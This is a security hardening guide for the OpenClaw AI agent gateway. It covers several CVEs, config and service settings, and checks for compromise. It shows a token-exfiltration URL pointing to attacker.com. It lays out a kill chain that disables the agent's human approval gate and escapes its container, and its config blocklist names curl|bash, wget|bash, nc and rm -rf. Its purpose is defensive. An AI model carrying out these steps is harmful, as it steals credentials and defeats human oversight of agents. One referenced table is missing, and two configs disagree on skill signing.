OpenClaw Is Running on Your Machine Right Now. Here's What to Lock Down Before It Eats Your Credentials.

Skip the backstory if you already know what OpenClaw is. If you're here from a search for the vulnerability, go straight to Verify Your Version First. Everything else can wait.

OpenClaw went from 9,000 GitHub stars to over 380,000 in under nine months. That's not growth — that's a supernova. NVIDIA built a reference stack on it. Cloudflare Workers AI published an integration guide. The npm package hit 1.27 million weekly downloads. Belgium's cybersecurity agency issued an emergency advisory. Microsoft published a blog post saying it was inappropriate to run on any standard personal or corporate machine.

All of that happened before April 2026.

I won't do the "what is OpenClaw" explainer. That ground is saturated — Contabo, DigitalOcean, Tencent Cloud, and two dozen dev blogs already have it. What they don't have is a serious hardening guide written for people who actually run the thing and understand what the vulnerability does at the wire level.

This is that guide.

The numbers before we start: at the time CVE-2026-25253 was publicly disclosed on January 31, 2026, security researchers had already found over 42,000 OpenClaw instances exposed on the public internet across 82 countries. Of those, 63% had no authentication configured at all. Twelve thousand eight hundred and twelve instances were confirmed remotely exploitable. The attack takes milliseconds from a browser visit to full shell access on the host. The victim clicks nothing.

If you run OpenClaw locally and think localhost keeps you safe: that's exactly the wrong mental model, and the exploit is specifically designed to destroy it. We'll get there.

The Full CVE Ledger: What You're Actually Patching Against

The media narrative collapsed onto ClawBleed (CVE-2026-25253) because it's the most dramatic. But 138 CVEs were tracked across OpenClaw and its predecessors by April 2026. Seven rated Critical. Forty-nine rated High. The ones that matter for your deployment:

Minimum safe version: v2026.3.5. Anything older carries at least one Critical or High unpatched. Target v2026.3.28 or later for the full patch slate including CVE-2026-33579 (privilege escalation, patched post-April).

The two that need the most explanation because they require active configuration changes even after patching: CVE-2026-25253 and CVE-2026-32056. The patch alone doesn't fully close the attack surface. Configuration has to follow.

Verify Your Version First

# npm/npx install
openclaw --version
 
# Docker
docker exec openclaw openclaw --version
 
# Python package (some installs use this path)
python -m openclaw --version
 
# Check the running gateway version via API
curl http://localhost:18789/api/version

Compare against the table above. If you're on anything below v2026.1.29, stop here and update before reading further. The ClawBleed exploit is publicly documented, the proof-of-concept code exists, and the attack runs in milliseconds. Continuing to read this article while running a vulnerable version is not a useful security posture.

Update by Install Method

npm global:

npm update -g openclaw
openclaw --version

npx (always pulls latest):

npx openclaw@latest --version
# No action needed if you always use npx without a pinned version

Docker:

docker pull ghcr.io/openclaw/openclaw:latest
# Or pin to a specific version (recommended):
docker pull ghcr.io/openclaw/openclaw:v2026.3.28
docker stop openclaw && docker rm openclaw
# Recreate with your existing config mount

Manual/git clone:

cd /path/to/openclaw
git fetch origin
git checkout v2026.3.28
npm install
npm run build

After any update: Restart the gateway service and verify the version string again. A failed build or a cached process can leave you running the old binary with the new version number in your PATH.

CVE-2026-25253 (ClawBleed): Why Localhost Is Not a Sandbox

This is the one. Before explaining the fix, understand exactly what the attack does, because the mental model most OpenClaw users have about why running on localhost is safe is the precise assumption this exploit breaks.

The Attack Surface

OpenClaw's gateway runs a WebSocket server, default port 18789. The Control UI (the browser interface) connects to this WebSocket to send commands and receive responses. The authentication model: a token stored in the browser's local storage, transmitted over the WebSocket connection.

The vulnerability: The Control UI accepted a gatewayUrl query parameter in the URL — something like http://localhost:18789?gatewayUrl=ws://attacker.com/ws. On page load, the UI auto-connected to that URL and transmitted the stored auth token over the connection without any validation.

The browser WebSocket problem: CORS (Cross-Origin Resource Sharing) restricts cross-origin HTTP requests from browser scripts. It does not restrict WebSocket connections in the same way. A JavaScript program running on attacker.com can open a WebSocket connection to ws://localhost:18789 from your browser. The browser sends the request from your machine, so it bypasses any firewall protecting 127.0.0.1 from the internet. The socket arrives at your locally-running OpenClaw gateway looking like it came from localhost.

Pre-patch, OpenClaw performed no Origin header validation on WebSocket upgrade requests. Any origin could connect. Authentication on its own was not enough protection, because the exploit exfiltrated the token first, then used it.

The Complete Kill Chain

The full attack sequence: victim visits a malicious URL → token is exfiltrated in milliseconds via the gatewayUrl parameter → the attacker uses the victim's browser to open a cross-site WebSocket to localhost:18789 → the attacker calls exec.approvals.set = off to disable the approval gate → calls tools.exec.host = gateway to escape the Docker container → achieves full RCE on the host.

Five API calls. No user interaction beyond visiting a URL. If the victim has OpenClaw configured with broad permissions (email access, calendar, filesystem, terminal) — which the default setup does — the attacker now has all of those permissions as well.

The vulnerability was reported to maintainers January 26, 2026. Patched in the main branch January 28. Tagged as v2026.1.29 January 29. Public CVE disclosure January 31. Three days between reporter and public disclosure, which is extremely fast — the researchers considered the risk too acute to allow a longer embargo. By public disclosure, scanning had already found 40,000+ exposed instances.

Post-Patch Configuration Required

Patching to v2026.1.29 adds Origin validation to the gateway. The validation is off by default. You have to configure it.

Open ~/.openclaw/openclaw.json (or wherever your config file lives):

{
  "gateway": {
    "bind": "127.0.0.1",
    "port": 18789,
    "allowedOrigins": [
      "http://localhost:18789",
      "http://127.0.0.1:18789"
    ],
    "requirePairingCode": true,
    "auth": {
      "required": true,
      "tokenRotationIntervalHours": 24
    }
  },
  "exec": {
    "approvals": {
      "required": true,
      "commands": ["*"]
    }
  }
}

Every field here matters:

bind: "127.0.0.1" — The pre-patch default was 0.0.0.0 (all interfaces). That means the gateway was reachable from your local network, and from the internet if your router had any port forwarding configured. Binding to 127.0.0.1 limits the socket to loopback. Necessary but not sufficient — CVE-2026-25253 specifically proves that loopback-only binding doesn't prevent WebSocket-based attacks from the browser.

allowedOrigins — The actual fix for CVE-2026-25253. The gateway now validates the Origin header on WebSocket upgrade requests against this whitelist. If attacker.com tries to open a WebSocket to your gateway, the upgrade is rejected because https://attacker.com isn't in the list. Set this to the exact origin(s) your Control UI runs on. If you're only using it locally: http://localhost:18789. If you've put it behind a reverse proxy: use the proxy's origin.

requirePairingCode: true — Adds a pairing step before a browser can connect. The first connection from a new browser context requires a one-time code displayed in the terminal. Prevents an attacker's site from initiating new authenticated connections even if they bypass the Origin check.

exec.approvals.required: true — Requires human confirmation before the agent executes any terminal command. This is the control that CVE-2026-25253's kill chain explicitly disabled via exec.approvals.set = off. Enforce it at the config level so the API call can't override it. Without this, any authenticated connection to your gateway can run arbitrary commands.

CVE-2026-32056: The Environment Variable Command Injection

This one is different. No network involved. An attacker — or a malicious skill (see the ClawHub section below) — can bypass OpenClaw's command allowlist by exploiting shell startup file loading via the HOME and ZDOTDIR environment variables.

OpenClaw's command execution inherits the user's environment, including HOME and ZDOTDIR. By setting these to attacker-controlled paths containing malicious shell startup files (.zshrc, .bashrc, .profile), the attacker bypasses the command allowlist and executes arbitrary code when any shell spawned by OpenClaw initializes.

The fix has two parts: the upstream patch (v2026.2.10 sanitizes the env before spawning shells) and a configuration-level mitigation you should apply regardless:

For systemd deployments:

# /etc/systemd/system/openclaw.service
[Unit]
Description=OpenClaw AI Gateway
After=network-online.target
Wants=network-online.target
 
[Service]
Type=simple
User=openclaw
Group=openclaw
 
# Environment sanitization -- CVE-2026-32056 mitigation
Environment=HOME=/var/empty
Environment=ZDOTDIR=/var/empty
Environment=PATH=/usr/local/bin:/usr/bin:/bin
# Don't inherit the invoking user's full environment
PassEnvironment=
 
ExecStart=/usr/local/bin/openclaw gateway run \
    --config /etc/openclaw/openclaw.json \
    --bind 127.0.0.1 \
    --port 18789
 
Restart=on-failure
RestartSec=10
 
# Systemd hardening
NoNewPrivileges=true
ProtectSystem=strict
ProtectHome=read-only
PrivateTmp=true
PrivateDevices=true
ProtectKernelTunables=true
ProtectKernelModules=true
ProtectControlGroups=true
RestrictRealtime=true
RestrictSUIDSGID=true
CapabilityBoundingSet=
SystemCallFilter=@system-service
 
# Allow only specific paths for write operations
ReadWritePaths=/var/lib/openclaw /tmp/openclaw
 
[Install]
WantedBy=multi-user.target

For shell/manual launches (pre-update workaround):

# Wrap your openclaw launch in an env sanitization
exec env -i \
  HOME=/var/empty \
  ZDOTDIR=/var/empty \
  PATH=/usr/local/bin:/usr/bin:/bin \
  TERM=xterm-256color \
  openclaw gateway run --config ~/.openclaw/openclaw.json

For Docker deployments:

# docker-compose.yml
services:
  openclaw:
    image: ghcr.io/openclaw/openclaw:v2026.3.28
    container_name: openclaw
    restart: unless-stopped
    ports:
      - "127.0.0.1:18789:18789"    # Loopback only -- never 0.0.0.0
    environment:
      HOME: /var/empty
      ZDOTDIR: /var/empty
      OPENCLAW_CONFIG: /config/openclaw.json
    volumes:
      - ./config:/config:ro          # Config read-only
      - openclaw_data:/var/lib/openclaw
    # Drop all capabilities -- OpenClaw does not need any
    cap_drop:
      - ALL
    security_opt:
      - no-new-privileges:true
    read_only: true
    tmpfs:
      - /tmp/openclaw:size=256m,noexec
    user: "1001:1001"               # Non-root user

Create the openclaw user on the host:

useradd --system --no-create-home --shell /bin/false --uid 1001 openclaw

CVE-2026-32922: Privilege Escalation via Token Rotation (CVSS 9.9)

This is the Critical one that got less press than ClawBleed but has a higher score. The token rotation mechanism in versions before v2026.2.25 had a scope validation bypass: during a rotation event, a specially crafted request could obtain a new token with administrator privileges regardless of the original token's privilege level.

The attack exploits a race condition in the token rotation flow. An authenticated user with any privilege level can trigger token rotation and, by timing a second request during the rotation window, receive a token with elevated scope — up to full administrative privileges.

The patch closes the rotation race. Post-patch mitigation:

Rotate all tokens immediately after updating to v2026.2.25+:

# Invalidate all existing tokens
openclaw auth rotate-all --force
 
# Verify no tokens were issued during the vulnerable window
openclaw auth token-log --since 2026-01-01 --until 2026-03-01

Enable 24-hour forced rotation in config:

{
  "gateway": {
    "auth": {
      "required": true,
      "tokenRotationIntervalHours": 24,
      "enforceRotationOnConnect": true,
      "maxTokenAge": "24h"
    }
  }
}

Lock administrative scope to specific users:

{
  "users": {
    "admin": {
      "scope": ["admin", "read", "write", "exec"],
      "mfa": true
    },
    "readonly": {
      "scope": ["read"],
      "mfa": false
    }
  }
}

With enforceRotationOnConnect: true, any existing token older than maxTokenAge is invalidated on next connection, forcing re-authentication. This closes the window for tokens that may have been elevated during the vulnerable period.

CVE-2026-32846: Path Traversal in Skill Execution

The path traversal vulnerability is in how OpenClaw handles the targetDir field in skill frontmatter — the YAML metadata block at the top of skill files. A malicious skill can set targetDir: ../../../etc and write files anywhere the OpenClaw process has write permissions.

The sandbox is supposed to contain skill file operations to the skill's designated directory. The pre-patch sandbox validation checked the resolved path after joining the targetDir with the skill root, but did not normalize .. components before the check. Classic path traversal.

After patching to v2026.3.5+, add explicit path restriction in config:

{
  "skills": {
    "rootDir": "/var/lib/openclaw/skills",
    "allowedWritePaths": [
      "/var/lib/openclaw/skills",
      "/tmp/openclaw"
    ],
    "blockPathTraversal": true,
    "sandboxMode": "strict"
  }
}

And in the systemd unit (already included above): ReadWritePaths=/var/lib/openclaw /tmp/openclaw — the kernel enforces this at the process level, not the application level. Even if skill sandboxing fails, systemd's ProtectSystem and ReadWritePaths constraints prevent writes outside the allowed paths.

The ClawHub Skill Supply Chain Problem

Every security guide written about OpenClaw mentions CVE-2026-25253. Most skip the skill supply chain issue, which is arguably a more persistent and harder-to-eradicate risk.

During the ClawHavoc campaign in February 2026, security researchers audited the ClawHub skill repository and found that 20% of submitted skills contained malicious code. The malware families involved included AMOS (a well-documented macOS infostealer that targets browser credentials, cryptocurrency wallets, and SSH keys). Skills presented themselves as productivity tools — calendar integrations, email assistants, search helpers — while running credential harvesting code in the background.

The ~/.clawdbot directory (from OpenClaw's predecessor name) has been flagged as an emerging infostealer target similar to ~/.npmrc and ~/.gitconfig. If an infostealer successfully exfiltrates this directory, it gets: stored tokens, credential cache, memory files, and potentially API keys for whatever services OpenClaw has been configured to access.

Treat every skill from ClawHub as untrusted. During the ClawHavoc incident, 20% of skills were found to be malicious.

Safe skill policy:

{
  "skills": {
    "allowedSources": [
      "local"
    ],
    "clawHubEnabled": false,
    "requireSignedSkills": true,
    "allowedPublishers": []
  }
}

Setting clawHubEnabled: false prevents automatic skill syncing from the hub. requireSignedSkills: true means skills must be cryptographically signed — only skills you've installed manually from known sources pass. For production or any deployment handling sensitive data, this should be the default, not an opt-in.

Before installing any skill, regardless of source:

# Review the skill manifest
cat ~/.openclaw/skills/skill-name/manifest.yaml
 
# Review every tool definition the skill registers
cat ~/.openclaw/skills/skill-name/tools/*.json
 
# Check for network calls in the skill code
grep -r "fetch\|axios\|http\|curl\|WebSocket\|socket" ~/.openclaw/skills/skill-name/
 
# Check for credential access patterns
grep -r "token\|key\|secret\|password\|credential\|oauth" ~/.openclaw/skills/skill-name/

Any skill that makes network calls to domains outside your control, accesses environment variables, or reads from paths outside its designated directory should be treated with extreme suspicion.

The Reverse Proxy Misconfiguration That Bypasses Authentication

One attack vector specific to homelab setups: running OpenClaw behind a reverse proxy on the same host.

Behind a reverse proxy on the same host — a common configuration in home lab setups where OpenClaw runs behind nginx or Caddy — external traffic could appear to originate from loopback, bypassing authentication entirely. The pre-patch gateway automatically approved connections from localhost without authentication.

If you have nginx or Traefik on the same host proxying to localhost:18789, traffic from the proxy looks locally-originated. Pre-patch, this was an authentication bypass. Post-patch, it's still a misconfiguration if you haven't configured X-Forwarded-For trust correctly.

The correct nginx config for OpenClaw:

upstream openclaw_gateway {
    server 127.0.0.1:18789;
}
 
server {
    listen 443 ssl;
    server_name openclaw.yourdomain.com;
 
    # SSL config goes here
 
    location / {
        proxy_pass http://openclaw_gateway;
        proxy_http_version 1.1;
 
        # WebSocket support
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
 
        # Pass the real client IP -- required for OpenClaw's origin validation
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Real-IP $remote_addr;
 
        # Critical: pass the actual Origin header unmodified
        # Do NOT set proxy_set_header Origin "http://localhost:18789"
        # That would make all traffic look like it came from the trusted origin
        proxy_set_header Host $host;
 
        # Authentication gateway -- don't strip auth headers
        proxy_pass_request_headers on;
    }
}

In OpenClaw config, explicitly configure X-Forwarded-For trust:

{
  "gateway": {
    "trustProxy": true,
    "trustedProxies": [
      "127.0.0.1"
    ],
    "realIpHeader": "X-Forwarded-For"
  }
}

With trustProxy: true and the correct header configuration, OpenClaw uses X-Real-IP from nginx to determine the actual client IP rather than seeing the connection as locally-originated.

Better approach for remote access: Tailscale instead of a public reverse proxy.

If you need remote access, use a VPN (Tailscale is the most common community choice) rather than exposing the gateway directly.

Tailscale or WireGuard puts your OpenClaw gateway behind an authenticated VPN tunnel. The gateway never sees connections from untrusted origins. No reverse proxy complexity. No TLS certificate management. No public exposure. We use this at CoderOasis for the same reason we use Teleport for infrastructure access — the right answer to "how do I access this remotely" is almost never "expose it to the internet."

The NVIDIA Reference Stack: What It Actually Means for Security

NVIDIA published an OpenClaw reference architecture for agentic AI workflows on NVIDIA hardware. This is significant for security in a way the announcement didn't highlight.

The reference stack runs OpenClaw with elevated GPU access — specifically, the Docker deployment grants --gpus all capability to the OpenClaw container. This is necessary for GPU-accelerated inference. It's also an expanded attack surface: a container escape from a container with GPU device access has more dangerous hardware-level primitives available to it than a pure userspace container.

If you're running OpenClaw on NVIDIA hardware via the reference stack:

Verify the container is not running with --privileged:

docker inspect openclaw | grep -i privilege
# "Privileged": false  ← correct
# "Privileged": true  ← dangerous, remove immediately

GPU access should be device-specific, not --gpus all in production:

# In docker-compose.yml
deploy:
  resources:
    reservations:
      devices:
        - driver: nvidia
          device_ids: ['0']    # Specific GPU by index, not 'all'
          capabilities: [gpu]

Add the NVIDIA Container Toolkit security controls:

# Check your NVIDIA runtime config
cat /etc/docker/daemon.json | grep nvidia
 
# The runtime config should include:
# "nvidia-container-runtime": {
#   "no-cgroups": false  -- keep cgroup isolation
# }

The CVE-2026-25253 kill chain included a step to escape the Docker container via the OpenClaw API (tools.exec.host = gateway). On a reference stack deployment, the post-escape host has GPU device access. Keep that context in mind: hardening the application layer matters more, not less, when the container has hardware access.

Detecting Whether You've Been Compromised

If you were running an unpatched version and you're uncertain whether you were hit, here's what to check.

Check for Unauthorized Token Usage

# OpenClaw gateway logs -- look for connections from unexpected origins
grep -E "WebSocket|origin|connect" ~/.openclaw/logs/gateway.log | \
  grep -v "localhost\|127.0.0.1"
 
# Any connections from an IP other than localhost on pre-patch versions
# are potentially malicious
grep "WebSocket upgrade" ~/.openclaw/logs/gateway.log | \
  awk '{print $NF}' | sort | uniq -c | sort -rn

Check for Config Modifications

# Check if exec.approvals was ever disabled
git -C ~/.openclaw log --all --oneline -- openclaw.json 2>/dev/null
# Or check backup configs
ls -la ~/.openclaw/*.json.bak 2>/dev/null
 
# The specific API calls in the kill chain leave traces
grep -E "exec.approvals.set|tools.exec.host" ~/.openclaw/logs/gateway.log

Check for Unauthorized File Access

# Look for reads/writes outside the OpenClaw data directory
# Use auditd if available -- otherwise check OpenClaw's own file access log
grep -E "path_traversal|unauthorized_path|sandbox_violation" \
  ~/.openclaw/logs/security.log 2>/dev/null
 
# Check modification times on sensitive files
find ~/ -name "*.json" -newer ~/.openclaw/openclaw.json -not -path "*/openclaw/*" \
  2>/dev/null | head -20

Check for Credential Exfiltration Indicators

# Network connections made by OpenClaw processes
ss -tp | grep openclaw
 
# DNS queries (requires logging -- check your router or Pi-hole if available)
# Any external DNS queries from the OpenClaw process are suspicious
# for a local-only deployment
 
# Check for unexpected files in common exfil drop locations
ls -la /tmp/openclaw* 2>/dev/null
ls -la ~/.ssh/ | awk '{print $6, $7, $8, $9}'    # Check SSH key modification times

If You Find Indicators of Compromise

Rotate everything the OpenClaw process had access to: API keys stored in OpenClaw config, OAuth tokens, any service accounts OpenClaw was using. Check your ~/.clawdbot directory (the old config path still present in many installations) for anything that shouldn't be there. Treat the machine as compromised and review what the agent had permission to access.

The Complete Hardened Configuration

The full ~/.openclaw/openclaw.json that implements all the controls above:

{
  "gateway": {
    "bind": "127.0.0.1",
    "port": 18789,
    "allowedOrigins": [
      "http://localhost:18789",
      "http://127.0.0.1:18789"
    ],
    "requirePairingCode": true,
    "trustProxy": false,
    "auth": {
      "required": true,
      "tokenRotationIntervalHours": 24,
      "enforceRotationOnConnect": true,
      "maxTokenAge": "24h",
      "maxFailedAttempts": 5,
      "lockoutDurationMinutes": 30
    },
    "rateLimit": {
      "websocketConnectionsPerMinute": 10,
      "apiRequestsPerMinute": 60
    }
  },
 
  "exec": {
    "approvals": {
      "required": true,
      "commands": ["*"],
      "destructiveCommandsRequireExplicitConfirm": true,
      "allowList": [
        "ls", "cat", "grep", "find", "echo",
        "python3", "node", "git status", "git log"
      ],
      "blockList": [
        "rm -rf", "dd", "mkfs", "fdisk", "chmod 777",
        "curl | bash", "wget | bash", "nc", "ncat"
      ]
    },
    "timeout": {
      "commandTimeoutSeconds": 30,
      "maxConcurrentCommands": 3
    },
    "sandbox": {
      "mode": "strict",
      "docker": {
        "enabled": true,
        "image": "ghcr.io/openclaw/sandbox:latest",
        "networkMode": "none",
        "readOnly": true
      }
    }
  },
 
  "skills": {
    "rootDir": "/var/lib/openclaw/skills",
    "allowedWritePaths": ["/var/lib/openclaw/skills", "/tmp/openclaw"],
    "clawHubEnabled": false,
    "requireSignedSkills": false,
    "sandboxMode": "strict",
    "blockPathTraversal": true,
    "allowedNetworkDomains": []
  },
 
  "memory": {
    "storageDir": "/var/lib/openclaw/memory",
    "encryptAtRest": true,
    "maxFileSizeBytes": 10485760
  },
 
  "integrations": {
    "email": {
      "enabled": false,
      "requireExplicitApproval": true
    },
    "calendar": {
      "enabled": false,
      "readOnly": true
    },
    "filesystem": {
      "allowedPaths": [
        "~/Documents",
        "~/Downloads"
      ],
      "deniedPaths": [
        "~/.ssh",
        "~/.gnupg",
        "~/.aws",
        "~/.config/gcloud",
        "~/.kube"
      ]
    }
  },
 
  "logging": {
    "level": "info",
    "auditLog": {
      "enabled": true,
      "path": "/var/lib/openclaw/logs/audit.log",
      "includePrompts": false,
      "includeResponses": false,
      "includeToolCalls": true,
      "includeAuthEvents": true
    }
  }
}

Two things to note:

exec.sandbox.docker.networkMode: "none" — The command execution sandbox has no network access. If OpenClaw needs to run code that makes network calls, that's a separate, explicit integration — not the default shell sandbox.

integrations.filesystem.deniedPaths — Explicitly block the paths that credential-stealing skills target. ~/.ssh, ~/.gnupg, ~/.aws, ~/.kube, any credential stores. An agent that can't read these paths can't exfiltrate them, even via a skill that bypasses the allowlist in some other way.

Patch Status by Distribution and Install Method

Check the version, don't trust the package manager. Some environments cache the old version after a global update. After any update:

# Verify the running binary version, not just what npm list shows
which openclaw && openclaw --version
 
# And if running as a service:
sudo systemctl status openclaw | grep "ExecStart"
openclaw gateway version    # Query the running gateway

What to Watch Going Forward

The 138-CVE pace through Q1 2026 should slow as the codebase matures and the security research attention moves to other targets. But three things to keep monitoring:

ClawHub skill safety. The repository is still relatively new and the review process for submitted skills is not comparable to npm or PyPI. Until signing and automated malware scanning are properly implemented, every skill install is a judgment call. Subscribe to the OpenClaw security advisories RSS feed for skill-related announcements.

The ~/.clawdbot legacy path. If you installed OpenClaw before the rebrand, the old data directory at ~/.clawdbot still exists alongside the new ~/.openclaw. Infostealers actively look for both. Consider:

# Move sensitive data out of the old path
ls ~/.clawdbot/ 2>/dev/null

# If it exists and has content:
openclaw config migrate --from ~/.clawdbot --to ~/.openclaw
rm -rf ~/.clawdbot    # After verifying migration succeeded

The Moltbook breach residue. The Moltbook social network's January 2026 breach exposed 1.5 million API tokens. If any of those tokens were connected to your OpenClaw instance (Moltbook integration was common in early adopters), they should have been rotated. Verify your integration list:

openclaw integrations list

# Check for any Moltbook/moltbook.social connections and revoke them
openclaw integrations revoke moltbook

The full story here — an AI agent framework that exploded from 9,000 to 380,000+ stars faster than any security review process could track, shipped with authentication off by default, credentials stored in plaintext, and a one-click RCE that worked against every locally-running instance regardless of whether it was internet-exposed — is a preview of what happens when security infrastructure can't keep up with AI adoption velocity.

We've been covering this pattern. The Claude Mythos sandbox escape showed frontier AI systems breaking out of their containment. The CVE-2026-31431 Copy Fail kernel bug showed nine years of undetected logic errors in trusted code. The AI trust gap piece covered why deploying AI-generated code without security review is a bet on other people's security judgment.

OpenClaw is all three of these articles at once. A tool most developers trusted by default because it was popular, running with more permissions than it should have had, full of vulnerabilities that weren't obvious without reading the code carefully, shipped at a speed that outpaced any meaningful security review.

Patch it. Lock it down. Read the config. Don't install skills you haven't reviewed. That's not paranoia — that's the correct operating posture for software running as your autonomous agent on your machine with access to your email, your files, and your terminal.